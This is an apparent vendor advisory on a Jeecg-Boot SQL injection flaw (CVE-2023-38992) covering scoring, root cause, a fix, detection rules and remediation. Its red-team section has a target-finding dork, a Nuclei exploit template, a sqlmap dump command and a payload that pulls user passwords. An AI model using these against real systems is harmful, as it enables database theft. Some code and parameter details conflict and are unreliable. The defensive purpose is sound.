CVE-2023-38992

Executive Summary

CVE-2023-38992 is a critical SQL injection vulnerability in Jeecg-Boot v3.5.1, specifically within the /sys/dict/loadTreeData endpoint. The flaw resides in the title parameter, which is improperly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and lateral movement within the network. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being weaponized in the wild, with a public proof-of-concept (PoC) and a Nuclei template available. No official patch has been released, making immediate mitigation through input validation and parameterized queries essential.

Supply Chain & Package Security

Jeecg-Boot is a popular open-source Java rapid development framework. This vulnerability affects the core framework itself, not a third-party package. However, organizations using Jeecg-Boot in their supply chain should assess their exposure and apply compensating controls. The lack of a vendor patch increases the risk of supply chain attacks if the framework is embedded in downstream products.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and is actively being scanned for by threat actors.

Deep Dive & Mechanics

The vulnerability exists in the loadTreeData method of the dictionary controller. The title parameter is directly concatenated into a SQL query without proper sanitization or parameterization. The endpoint is designed to load tree-structured data from any table specified by the tableName parameter, but the title parameter is used to construct the query's WHERE clause.

Root Cause: The application uses string concatenation to build SQL queries, e.g.:

String sql = "SELECT id, title FROM " + tableName + " WHERE title = '" + title + "'";

This allows an attacker to break out of the string context and inject arbitrary SQL.

Attack Flow:

1. An attacker sends a GET request to /sys/dict/loadTreeData with malicious payloads in the title parameter.
2. The injected SQL is executed, potentially returning sensitive data or allowing data manipulation.
3. The response is returned as JSON, which the attacker can parse.

Example Payload (from Nuclei template):

/sys/dict/loadTreeData?tableName=sys_user&text=password%20text,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=admin&pidField=username

This payload attempts to extract the password column from the sys_user table.

Vulnerable vs. Patched Code

Vulnerable Code (Jeecg-Boot v3.5.1):

// In DictController.java
@RequestMapping(value = "/loadTreeData")
public Result loadTreeData(String tableName, String text, String code, String pid, String pidField, String condition, String hasChildField, String converIsLeafVal) {
    String sql = "SELECT " + text + " FROM " + tableName + " WHERE " + pidField + " = '" + pid + "'";
    // ... execute query
}

Patched Code (Hypothetical):

// Use parameterized queries
@RequestMapping(value = "/loadTreeData")
public Result loadTreeData(@RequestParam String tableName, @RequestParam String text, ...) {
    // Validate tableName against a whitelist
    if (!allowedTables.contains(tableName)) {
        return Result.error("Invalid table");
    }
    String sql = "SELECT " + text + " FROM " + tableName + " WHERE " + pidField + " = ?";
    // Use PreparedStatement
    PreparedStatement ps = connection.prepareStatement(sql);
    ps.setString(1, pid);
    // ... execute query
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Jeecg-Boot v3.5.1
• Network access to the /sys/dict/loadTreeData endpoint

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the dork http.favicon.hash:1380908726 to find vulnerable instances.
2. Verify Vulnerability: Send a benign request to confirm the endpoint exists.
3. Exploit with Nuclei: Use the provided template to automate exploitation.
4. Manual Exploitation: Use sqlmap or manual payloads to extract data.

Example sqlmap command:

sqlmap -u "http://target.com/jeecg-boot/sys/dict/loadTreeData?tableName=sys_user&text=password,id&code=password&pid=admin&pidField=username" --batch --dump

Nuclei Template (Provided):

id: CVE-2023-38992

info:
  name: Jeecg-Boot v3.5.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL injection vulnerability via the title parameter at /sys/dict/loadTreeData in jeecg-boot v3.5.1.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    Implement input validation and use parameterized queries to prevent SQL Injection attacks.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/5173
    - https://my.oschina.net/jeecg/blog/10107636
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38992
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-38992
    cwe-id: CWE-89
    epss-score: 0.64105
    epss-percentile: 0.98445
    cpe: cpe:2.3:a:jeecg:jeecg_boot:3.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve,cve2023,jeecg,jeecg-boot,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}sys/dict/loadTreeData?tableName=sys_user&text=password%20text,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=admin&pidField=username"
      - "{{BaseURL}}/{{path}}sys/dict/loadTreeData?tableName=sys_user+t&text=password,id&code=password&hasChildField=&converIsLeafVal=1&condition=&pid=admin&pidField=username"

    payloads:
      path:
        -
        - jeecg-boot/

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "parentId\":", "key\":", "{\"title", "success\":true")'
          - 'contains(header, "application/json")'
          - "status_code == 200"
        condition: and

Blue Team (Defensive)

Detection:

• Monitor for GET requests to /sys/dict/loadTreeData with unusual parameters (e.g., tableName not in a whitelist, text containing SQL keywords).
• Look for error messages containing SQL syntax errors in logs.
• Use the provided Sigma rule to detect exploitation attempts.

Honeypot:

• Deploy a fake Jeecg-Boot instance and monitor for exploitation attempts.

Lab Setup:

1. Download Jeecg-Boot v3.5.1 from the official repository.
2. Deploy using Docker or a local Java environment.
3. Test the vulnerability using the Nuclei template or manual payloads.
4. Apply virtual patching via a WAF (e.g., ModSecurity) to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • GET requests to /sys/dict/loadTreeData with parameters containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
  • Requests with tableName set to system tables (e.g., sys_user, information_schema.tables).
  • Responses containing JSON with success:true and unexpected data (e.g., password hashes).

• File IOCs:

  • Log entries showing SQL errors in the application logs (e.g., java.sql.SQLSyntaxErrorException).

• System IOCs:

  • Unusual database queries originating from the application server.
  • New user accounts or modified data in the database.

Detection Engineering

YARA Rule

rule CVE_2023_38992_SQLi_JeecgBoot {
    meta:
        description = "Detects SQL injection attempts against Jeecg-Boot v3.5.1 /sys/dict/loadTreeData"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-38992"
        severity = "critical"
    strings:
        $s1 = "/sys/dict/loadTreeData" nocase
        $s2 = "tableName=" nocase
        $s3 = "text=" nocase
        $s4 = "pid=" nocase
        $s5 = "UNION" nocase
        $s6 = "SELECT" nocase
        $s7 = "OR 1=1" nocase
        $s8 = "information_schema" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and 1 of ($s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2023-38992 SQL Injection Attempt
id: 8a4b6c2d-1e3f-4a5b-9c7d-8e9f0a1b2c3d
status: experimental
description: Detects SQL injection attempts against Jeecg-Boot v3.5.1 /sys/dict/loadTreeData
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38992
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/sys/dict/loadTreeData'
            - 'tableName='
            - 'text='
            - 'pid='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - 'information_schema'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the endpoint with non-malicious parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-38992 Jeecg-Boot SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/sys/dict/loadTreeData"; http_uri; content:"tableName="; http_uri; content:"text="; http_uri; content:"pid="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1|information_schema)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation for all parameters in /sys/dict/loadTreeData. Whitelist allowed table names and column names.
2. Parameterized Queries: Replace all dynamic SQL with prepared statements or parameterized queries.
3. Web Application Firewall (WAF): Deploy a WAF rule to block SQL injection patterns (e.g., ModSecurity rule 942100).
4. Access Control: Restrict access to the endpoint to authenticated users only, if possible.

Long-Term Fix:

• Upgrade to a patched version of Jeecg-Boot once available.
• Conduct a security audit of the entire codebase for similar vulnerabilities.

Vendor Communication:

• Monitor the Jeecg-Boot GitHub repository for updates.
• Apply the recommended fix from the community (e.g., using PreparedStatement).

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: AF2F10473494844514F0FDBE] */}